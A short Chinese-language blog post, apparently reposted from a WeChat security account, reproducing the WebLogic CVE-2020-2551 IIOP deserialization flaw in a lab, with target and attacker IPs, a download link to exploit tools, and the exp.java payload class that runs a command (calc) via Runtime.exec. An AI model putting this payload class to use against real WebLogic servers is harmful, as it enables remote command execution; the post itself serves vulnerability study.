Weblogic CVE-2020-2551漏洞复现&CS实战利用

admin 2021年4月24日20:29:39评论93 views字数 622阅读2分4秒阅读模式

Weblogic CVE-2020-2551漏洞复现

Weblogic IIOP 反序列化

漏洞原理

https://www.anquanke.com/post/id/199227#h3-7 https://www.cnblogs.com/tr1ple/p/12483235.html

漏洞复现

Weblogic CVE-2020-2551复现过程

靶机:windows7系统 

IP地址:192.168.43.20 

攻击机:windows10系统

IP地址:192.168.43.38

工具下载地址https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A 提取码:03vx

exp.javamarshalsec-0.0.3-SNAPSHOT-all.jarweblogic_CVE_2020_2551.jar
Weblogic CVE-2020-2551漏洞复现&CS实战利用
  • exp.java源代码

import java.io.IOException;public class exp {  static{    try {      java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});    } catch (IOException e) {      e.printStackTrace();    }  }  public static void main(String[] args) {      }}

本文始发于微信公众号(HACK学习呀):Weblogic CVE-2020-2551漏洞复现&CS实战利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日20:29:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic CVE-2020-2551漏洞复现&CS实战利用https://cn-sec.com/archives/204616.html

发表评论

匿名网友 填写信息